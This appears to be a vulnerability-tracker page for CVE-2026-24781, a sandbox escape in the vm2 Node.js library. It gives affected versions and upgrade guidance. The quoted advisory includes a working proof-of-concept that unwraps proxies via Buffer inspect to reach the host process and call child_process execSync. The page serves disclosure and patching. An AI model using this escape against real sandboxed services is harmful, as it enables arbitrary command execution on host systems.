Live › vulnerability › CVE-2026-24781
vm2 is a Node.js library that runs untrusted code in a sandbox. A flaw in how the inspect function unwraps proxies lets sandboxed code reach the host object and run arbitrary commands on the host system.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-11-04 03:31 UTC, 0h before NVD. All times on this page are UTC.
Applications that use vm2 to run untrusted or user-supplied JavaScript are exposed, because the sandbox is the only barrier between that code and the host. Projects that only run their own trusted code inside vm2, or that do not use vm2 at all, have less exposure. The sources do not say whether the affected code paths are reachable in every vm2 configuration.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| vm2 | npm | < 3.11.0 | 3.11.0 |
| vm2 project vm2 | vendor | < 3.11.0 | 3.11.0 |
npm ls vm2 in each project and lockfile.vm2 in package.json dependencies, including transitive ones.vm2 3.11.0: upgrade to this version or later (affected: below 3.11.0).Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
The node inspect method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the this.seen of the stylize function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.
const obj = {
subarray: Buffer.prototype.inspect,
slice: Buffer.prototype.slice,
hexSlice:()=>'',
l:{__proto__: null}
};
obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
This page as .md · .json · in your agent: get_signal("CVE-2026-24781")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.